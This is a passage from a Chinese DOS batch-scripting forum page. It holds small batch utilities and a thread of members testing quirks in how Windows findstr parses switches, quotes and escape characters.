           for /f "usebackq tokens=1,2* delims==" %%i in (`findstr /s /r 


           "^URL=" *.url^|findstr ""`) do ( 


           set n=%%j 


           echo !n:~0,-8!=%%k>>%%i.cgp 


           ) 


           for /f "usebackq tokens=1* delims==" %%i in (`findstr /s /r "^URL=" 


           *.url^|findstr /v ""`) do ( 


           set n=%%i 


           echo !n:~0,-8!=%%j>>url.cgp 


           ) 


           endlocal 


           conv_c_u.rar 


           conv_u_c.rar 


12. PingDNS 


           @echo off 


           if [%1]  [] ( 


                       set ip=emptyType 


                       set str=Address 


           ) else ( 


                       set ip=%1 


                       set str=Name 


           )    


           for /f  "tokens=2" %%i in ('nslookup %ip% ^|findstr "%str%"') do 


           ping %2 %3 %%i 


13. ping() 


           试玩一下,test by win2kchs,部分系统注意自行替换红色部分 


           用法:cmd下 


           sping ip/hostname 

<

来源:http://www.cn-dos.net/forum/viewthread.php?tid=21167&fpage=1&highlight=findstr

问题缘起于bsijl一篇关于findstr错误过滤的主题[1],当时因为无法找到原因,所以只能推测 /g 开关存在某些问题。


    近日,因为编写一个debuger代码,再次使用了 findstr/g ,结果遇到了同样的问题[2]。经过仔细的测试[3]后,发现是 findstr 

    特殊的命令行分析机制所引起的问题。略述如下:


                                    

1、findstr不同于早期的find,它对参数的排列有一定的要求,即遵循开关(可省略)、字符串(使用/c开关时省略)、文件名(可通配、可多个、有输入流时需省略)的顺序。


                                    

2、开关可以使用引号,所以不能直接以与开关相同的关键字进行搜索;文件名含空格时必须用引号。


3、搜索关键字的情况和表现就比较复杂,分述如下:

                                    

    3-1、无论是否使用开关/l或/r以及是否使用引号,关键字中的都会成为转义字符,所以将成为,"将使引号失去字符串界定作用;

                                    

    3-2、搜索关键字可加或不加引号,当加引号时其中的可能会再次转义。使用开关/l和/r时的转义结果可能会不同:当使用/r时,所以""将成为单个,""将使关键字为空;当使用/l或均不使用时,""和""与单个等价。

                                    3-3、如果关键字以单个结尾,且无引号,则不会被转义;


而 findstr/g出现的问题,应该与上述内容有关,但其内在机理仍无法透彻理解。不知各位有何高见?


     [1]批处理删除XP输入法问题!请dos高手解决

        http://www.cn-dos.net/forum/search.php?searchid=24472


        [2]Test of findstr/v/g



      Quote:

         E:BatchTest>set > envar.out


         E:BatchTest>findstr /v /g:envar.out envar.out

         LOGONSERVER=Test

         ProgramFiles=C:Program Files


         E:BatchTest>findstr /v /i /g:envar.out 

         envar.out

         LOGONSERVER=Test




          [3]Test of findstr

          CODE:  [Copy to clipboard]



           :: Test of findstr

           :: Will Sort - 2006-06-10 - CMDWinXP

           @echo off

           cls&echo ---- "set>_tfs1.tmp & findstr /v 

           /g:_tfs1.tmp _tfs1.tmp"

           set>_tfs1.tmp & findstr /v /g:_tfs1.tmp 

_tfs1.tmp

           pause


           echo ---- "findstr /v /i /g:_tfs1.tmp _tfs1.tmp"

           findstr /v /i /g:_tfs1.tmp _tfs1.tmp

           pause


           echo ---- "sort /r _tfs1.tmp > _tfs2.tmp & 

           findstr /v /g:_tfs1.tmp _tfs2.tmp"

           sort /r _tfs1.tmp > _tfs2.tmp & findstr /v 

           /g:_tfs1.tmp _tfs2.tmp

           pause


           echo ---- "set|findstr /v /g:_tfs1.tmp"

           set|findstr /v /g:_tfs1.tmp

           pause


           cls&echo ---- "dir C: /w > _tfs2.tmp & findstr 

           /v /g:_tfs2.tmp _tfs2.tmp"

           dir C: /w > _tfs2.tmp & findstr /v /g:_tfs2.tmp 

           _tfs2.tmp

           pause


           echo ---- "echo : > _tfs2.tmp & findstr /v 

           /g:_tfs2.tmp _tfs2.tmp"

           echo : > _tfs2.tmp & findstr /v /g:_tfs2.tmp 

           _tfs2.tmp

           pause


           cls&echo ---- "findstr /g:_tfs1.tmp 

           _tfs1.tmp>_tfs2.tmp & fc _tfs1.tmp _tfs2.tmp"

           findstr /g:_tfs1.tmp _tfs1.tmp>_tfs2.tmp & fc 

           _tfs1.tmp _tfs2.tmp

           pause


           cls&echo ---- "set|findstr /r "  ""

           set|findstr /r "  "

           pause


           echo ---- "set|findstr /l "  ""

           set|findstr /l "  "

           pause


           cls&echo ---- "echo _tfs1_tmp > _tfs1.tmp & 

           findstr "/l" "_tfs1.tmp" "_tfs1.tmp""

           echo _tfs1_tmp >> _tfs1.tmp & findstr 

           "_tfs1.tmp" "_tfs1.tmp"

           pause

           del _tfs?.tmp

           [ Last edited by willsort on 2006-6-11 at 18:38 ]





           Climbing

           金牌会员 


                      

           『第 2 楼』:  


            在我的XP上这个结果如何解释?


             d:work>findstr /v /g:envar.out envar.out

             FINDSTR: 搜索字符串太长。


             d:work>findstr /v /g:envar.out envar.out

             FINDSTR: 搜索字符串太长。


             d:work>findstr /v /g:envar.out

             FINDSTR: 搜索字符串太长。



无奈何

版主 


『第 3 楼』:  


     在我的 XP 下和 willsort 兄 3、的描述相同。这个恼人的结果不知道能不能确定是 

     FINDSTR 的 BUG ,请朋友们多试一下其它系统的情况。看来关键字中含有 “” 

     字符应该多加小心了。



3742668

版主 


『第 4 楼』:  


     唔,似乎只有当后面的字符为非字母和非数字的时候才会出错。感觉microsoft准备把findstr做成cmd下的正则表达式工具似的,但是又没有考虑到与其他参数之间的兼容性,导致最后的结果是画虎不成反类犬。

     另外在某些时候,findstr的查找字符串中包含中文时,需要加上/i参数才能避免错误,具体环境以及代码已忘,或许findstr除了正则表达式方面的bug外还存在unicode与ascii转换的bug。



willsort

版主 


『第 5 楼』:  


Re Ups:


另外一个问题:


     因为开关也允许引号,所以无法以 "/l" 或 "/r" 

     等与开关相同的文本串作为关键字匹配,下面的句式将会出错:

                                      echo /l /r > test

                                      findstr /l "/r" test


不过,可以使用开关 /c 来强制指定关键字:

                                      findstr /l /c:"/r" test

                                      findstr /l /c:/r test


还有一个方法,就是上文提到的 了:

                                      findstr /l /r test

                                     

此外,这个 还可以让我们的关键字中包含引号:

                                      echo /l /r >test

                                      echo "/r" >> test

                                      findstr /l "/r" test


最后,修订和增补顶楼3-2中的一些描述:

                                      3-2、开关/r和开关/l相同,其后的关键字均可使用或不使用引号;使用引号时:

                                      3-2-1、""和""等价于引号和其后各个串所各自代表的多个关键字;

                                      

                              3-2-2、""和""等价于引号加\组成的关键字和其他多个关键字;

                                      3-2-3、""等价于引号加组成的关键字和其他多个关键字;

                                      3-2-4、" ",""," "," 

                              ",""," "等价于空;

                                      3-2-5、" ",""等价于一个;

                                      3-2-6、" ",""等价于两个;

                                      3-2-7、" "等价于三个;

                                      3-2-8、" "等价于四个;


以上数据由以下方法测得,测试文件见[1][2],当不使用/r开关与使用开关/l相同,;

                                      type test1.txt | findstr /r "test_key" 

                              test2.xt



                              [1] Test text of findstr - "test1.txt"



                                  Quote:

                                /l /r

                                "/l" 

                                " test1

                                " test1

                                " test1

                                " test1

                                " test1

                                test1

                                test1

                                test1

                                test1




                              [2] Test text of findstr - "test2.txt"



                                  Quote:

                                " test2

                                " test2

                                " test2

                                " test2

                                " test2

                                test2

                                test2

                                test2

                                test2




                              [ Last edited by willsort on 2006-6-11 at 18:25 ]




220110

版主 



『第 6 楼』:  





Quote:

                                        3-2、开关/r和开关/l相同,其后的关键字均可使用或不使用引号;使用引号时:

                                        3-2-1、""和""等价于引号和其后各个串所各自代表的多个关键字;

                                        

                                3-2-2、""和""等价于引号加组成的关键字和其他多个关键字;

                                        3-2-3、""等价于引号加组成的关键字和其他多个关键字;

                                        3-2-4、" ",""," "," 

                                ",""," "等价于空;

                                        3-2-5、" ",""等价于一个;

                                        3-2-6、" ",""等价于两个;

                                        3-2-7、" "等价于三个;

                                        3-2-8、" "等价于四个;




我早前也发现这规律存在路径名上,只是没深入研究,没敢贴上来.

我是从"dir .",  " dir .." 开始,大家不妨测试下.



willsort

版主 


状态 离线 『第 7 楼』:  


Re 220110:


UNC 路径名中 的解析与 findstr 

关键字是不同的,它只有界定目录的作用,而没有转义字符的作用。



另外,findstr /v ^%var%$ test.txt 语句中,如果test.txt最后一行就是要匹配的%var%,且该行不为空,则不能过滤最后一行的内容,似乎是分行标志识别出了错